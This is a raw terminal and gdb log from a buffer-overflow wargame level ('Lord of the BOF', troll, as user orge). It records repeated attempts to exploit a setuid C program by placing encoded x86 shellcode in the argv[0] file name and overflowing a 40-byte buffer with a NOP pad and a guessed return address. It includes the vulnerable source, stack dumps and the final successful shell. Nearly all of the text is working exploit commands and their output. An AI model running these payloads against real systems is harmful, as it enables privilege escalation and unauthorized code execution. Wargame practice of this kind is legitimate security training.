0xc000004c: Cannot access memory at address 0xc000004c
(gdb)
0xc0000050: Cannot access memory at address 0xc0000050
(gdb)
0xc0000054: Cannot access memory at address 0xc0000054
(gdb)
0xc0000058: Cannot access memory at address 0xc0000058
(gdb)
0xc000005c: Cannot access memory at address 0xc000005c
(gdb)
0xc0000060: Cannot access memory at address 0xc0000060
(gdb)
0xc0000064: Cannot access memory at address 0xc0000064
(gdb)
0xc0000068: Cannot access memory at address 0xc0000068
(gdb)
0xc000006c: Cannot access memory at address 0xc000006c
(gdb)
0xc0000070: Cannot access memory at address 0xc0000070
(gdb)
0xc0000074: Cannot access memory at address 0xc0000074
(gdb)
0xc0000078: Cannot access memory at address 0xc0000078
(gdb)
0xc000007c: Cannot access memory at address 0xc000007c
(gdb)
0xc0000080: Cannot access memory at address 0xc0000080
(gdb)
0xc0000084: Cannot access memory at address 0xc0000084
(gdb)
0xc0000088: Cannot access memory at address 0xc0000088
(gdb)
0xc000008c: Cannot access memory at address 0xc000008c
(gdb)
0xc0000090: Cannot access memory at address 0xc0000090
(gdb)
0xc0000094: Cannot access memory at address 0xc0000094
(gdb)
0xc0000098: Cannot access memory at address 0xc0000098
(gdb)
0xc000009c: Cannot access memory at address 0xc000009c
(gdb)
0xc00000a0: Cannot access memory at address 0xc00000a0
(gdb)
0xc00000a4: Cannot access memory at address 0xc00000a4
(gdb)
0xc00000a8: Cannot access memory at address 0xc00000a8
(gdb)
0xc00000ac: Cannot access memory at address 0xc00000ac
(gdb)
0xc00000b0: Cannot access memory at address 0xc00000b0
(gdb)
0xc00000b4: Cannot access memory at address 0xc00000b4
(gdb)
0xc00000b8: Cannot access memory at address 0xc00000b8
(gdb)
0xc00000bc: Cannot access memory at address 0xc00000bc
(gdb)
0xc00000c0: Cannot access memory at address 0xc00000c0
(gdb)
0xc00000c4: Cannot access memory at address 0xc00000c4
(gdb)
0xc00000c8: Cannot access memory at address 0xc00000c8
(gdb)
0xc00000cc: Cannot access memory at address 0xc00000cc
(gdb)
0xc00000d0: Cannot access memory at address 0xc00000d0
(gdb)
0xc00000d4: Cannot access memory at address 0xc00000d4
(gdb)
0xc00000d8: Cannot access memory at address 0xc00000d8
(gdb)
0xc00000dc: Cannot access memory at address 0xc00000dc
(gdb)
0xc00000e0: Cannot access memory at address 0xc00000e0
(gdb)
0xc00000e4: Cannot access memory at address 0xc00000e4
(gdb)
0xc00000e8: Cannot access memory at address 0xc00000e8
(gdb)
0xc00000ec: Cannot access memory at address 0xc00000ec
(gdb)
0xc00000f0: Cannot access memory at address 0xc00000f0
(gdb)
0xc00000f4: Cannot access memory at address 0xc00000f4
(gdb)
0xc00000f8: Cannot access memory at address 0xc00000f8
(gdb)
0xc00000fc: Cannot access memory at address 0xc00000fc
(gdb)
0xc0000100: Cannot access memory at address 0xc0000100
(gdb)
0xc0000104: Cannot access memory at address 0xc0000104
(gdb)
0xc0000108: Cannot access memory at address 0xc0000108
(gdb)
0xc000010c: Cannot access memory at address 0xc000010c
(gdb)
0xc0000110: Cannot access memory at address 0xc0000110
(gdb)
0xc0000114: Cannot access memory at address 0xc0000114
(gdb)
0xc0000118: Cannot access memory at address 0xc0000118
(gdb)
0xc000011c: Cannot access memory at address 0xc000011c
(gdb)
0xc0000120: Cannot access memory at address 0xc0000120
(gdb)
0xc0000124: Cannot access memory at address 0xc0000124
(gdb)
0xc0000128: Cannot access memory at address 0xc0000128
(gdb)
0xc000012c: Cannot access memory at address 0xc000012c
(gdb)
0xc0000130: Cannot access memory at address 0xc0000130
(gdb)
0xc0000134: Cannot access memory at address 0xc0000134
(gdb)
0xc0000138: Cannot access memory at address 0xc0000138
(gdb)
0xc000013c: Cannot access memory at address 0xc000013c
(gdb)
0xc0000140: Cannot access memory at address 0xc0000140
(gdb)
0xc0000144: Cannot access memory at address 0xc0000144
(gdb)
0xc0000148: Cannot access memory at address 0xc0000148
(gdb)
0xc000014c: Cannot access memory at address 0xc000014c
(gdb)
0xc0000150: Cannot access memory at address 0xc0000150
(gdb)
0xc0000154: Cannot access memory at address 0xc0000154
(gdb)
0xc0000158: Cannot access memory at address 0xc0000158
(gdb)
0xc000015c: Cannot access memory at address 0xc000015c
(gdb) Quit
(gdb) quit
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xc0\xff\xff\xbf'`'`
Can't find string terminator '"' anywhere before EOF at -e line 1.
argc must be two!
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xc0\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xc9\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xc8\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xcㅁ\xff\xff\xbf"'`
stack is still your friend.
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xca\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xcb\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xcc\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44, "\xcd\xff\xff\xbf"'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜?
Segmentation fault (core dumped)
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argc must be two!
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x47'`
stack is still your friend.
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'
> ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'`
옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argc must be two!
[orge@localhost orge]$ gcc trall.c -o trall
[orge@localhost orge]$ gcc trall.c -o trall
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argc must be two!
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argc must be two!
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ gcc trall.c -o trall
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
argc must be two!
bffffaf4
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf4\xfa\xff\xbf"'`
????????????????????????????????????????????哨
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf3\xfa\xff\xbf"'`
????????????????????????????????????????????采
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`
????????????????????????????????????????????衝
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf1\xfa\xff\xbf"'`
????????????????????????????????????????????蒸
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`
????????????????????????????????????????????衝
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xbf\xfa\xff\xbf"'`
????????????????????????????????????????????웜
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`
????????????????????????????????????????????衝
Illegal instruction (core dumped)
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./?^12l?u楕凹2핽i00tii0cjo??T??
귁? '.
Program terminated with signal 4, Illegal instruction.
Reading symbols from /lib/libc.so.6...Xshelldone.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbffffaf5 in ?? ()
(gdb) x/50wx $esp
0xbffffa80: 0x00000000 0xbffffac4 0xbffffad0 0x40013868
0xbffffa90: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffaa0: 0x08048500 0x00000002 0xbffffac4 0x08048390
0xbffffab0: 0x0804868c 0x4000ae60 0xbffffabc 0x40013e90
0xbffffac0: 0x00000002 0xbffffbb8 0xbffffbeb 0x00000000
0xbffffad0: 0xbffffc1c 0xbffffc2b 0xbffffc42 0xbffffc61
0xbffffae0: 0xbffffc83 0xbffffc8d 0xbffffe50 0xbffffe6f
0xbffffaf0: 0xbffffe89 0xbffffe9e 0xbffffeba 0xbffffec5
0xbffffb00: 0xbffffedd 0xbffffeea 0xbffffef2 0xbffffefc
0xbffffb10: 0xbfffff0c 0xbfffff1a 0xbfffff28 0xbfffff39
0xbffffb20: 0xbfffff44 0xbfffff54 0xbfffff94 0x00000000
0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb40: 0x00000005 0x00000006
(gdb)
0xbffffb48: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffb58: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffb68: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffb78: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb88: 0x00000010 0x0febfbff 0x0000000f 0xbffffbb3
0xbffffb98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffba8: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffffbb8: 0x11eb2f2e 0xb1c9315e 0x0e6c8032 0xe98001ff
0xbffffbc8: 0xebf67501 0xffeae805 0xc132ffff 0x30306951
0xbffffbd8: 0x30696974 0x8a6f6a63 0x8a5451e4 0x0cb19ae2
0xbffffbe8: 0x000081ce 0x00000000 0x00000000 0x00000000
0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc08: 0x00000000 0x00000000
(gdb)
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc50: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc60: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc80: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffca0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcb0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcc0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffcd0: 0x00000000 0x00000000
(gdb) quit
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44'`
stack is still your friend.
bffffac4
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`
????????????????????????????????????????????衝
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ vi trall.c
[orge@localhost orge]$ gcc trall.c -o trall
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44'`
[1] address check: bffffac4
[3] address check: bffffac4
stack is still your friend.
[4] address check: bffffac4
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ cat trall.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
printf("[1] address check: %x\n", &argv[0]);
// here is changed
if(argc != 2){
printf("argc must be two!\n");
printf("[2] address check: %x\n", &argv[0]);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
printf("[3] address check: %x\n", &argv[0]);
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
printf("[4] address check: %x\n", &argv[0]);
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xf5\xfa\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????衝
Illegal instruction (core dumped)
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xc4\xfa\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????퀭
Segmentation fault (core dumped)
[orge@localhost orge]$ gdb -q trall core
warning: core file may not match specified executable file.
Core was generated by `./?^12l?u楕凹2핽i00tii0cjo??T??
귁? '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...Xshelldone.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbffffac9 in ?? ()
(gdb) x/50wx $esp
0xbffffa80: 0x00000000 0xbffffac4 0xbffffad0 0x40013868
0xbffffa90: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffaa0: 0x08048500 0x00000002 0xbffffac4 0x08048390
0xbffffab0: 0x080486ac 0x4000ae60 0xbffffabc 0x40013e90
0xbffffac0: 0x00000002 0xbffffbb8 0xbffffbeb 0x00000000
0xbffffad0: 0xbffffc1c 0xbffffc2b 0xbffffc42 0xbffffc61
0xbffffae0: 0xbffffc83 0xbffffc8d 0xbffffe50 0xbffffe6f
0xbffffaf0: 0xbffffe89 0xbffffe9e 0xbffffeba 0xbffffec5
0xbffffb00: 0xbffffedd 0xbffffeea 0xbffffef2 0xbffffefc
0xbffffb10: 0xbfffff0c 0xbfffff1a 0xbfffff28 0xbfffff39
0xbffffb20: 0xbfffff44 0xbfffff54 0xbfffff94 0x00000000
0xbffffb30: 0x00000003 0x08048034 0x00000004 0x00000020
0xbffffb40: 0x00000005 0x00000006
(gdb)
0xbffffb48: 0x00000006 0x00001000 0x00000007 0x40000000
0xbffffb58: 0x00000008 0x00000000 0x00000009 0x08048450
0xbffffb68: 0x0000000b 0x000001fb 0x0000000c 0x000001fb
0xbffffb78: 0x0000000d 0x000001fb 0x0000000e 0x000001fb
0xbffffb88: 0x00000010 0x0febfbff 0x0000000f 0xbffffbb3
0xbffffb98: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffba8: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffffbb8: 0x11eb2f2e 0xb1c9315e 0x0e6c8032 0xe98001ff
0xbffffbc8: 0xebf67501 0xffeae805 0xc132ffff 0x30306951
0xbffffbd8: 0x30696974 0x8a6f6a63 0x8a5451e4 0x0cb19ae2
0xbffffbe8: 0x000081ce 0x00000000 0x00000000 0x00000000
0xbffffbf8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc08: 0x00000000 0x00000000
(gdb) quit
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`
[1] address check: bffffac4
[3] address check: bffffac4
????????????????????????????????????????????뫈
bash$ quit
sh: quit: command not found
bash$ exit
exit
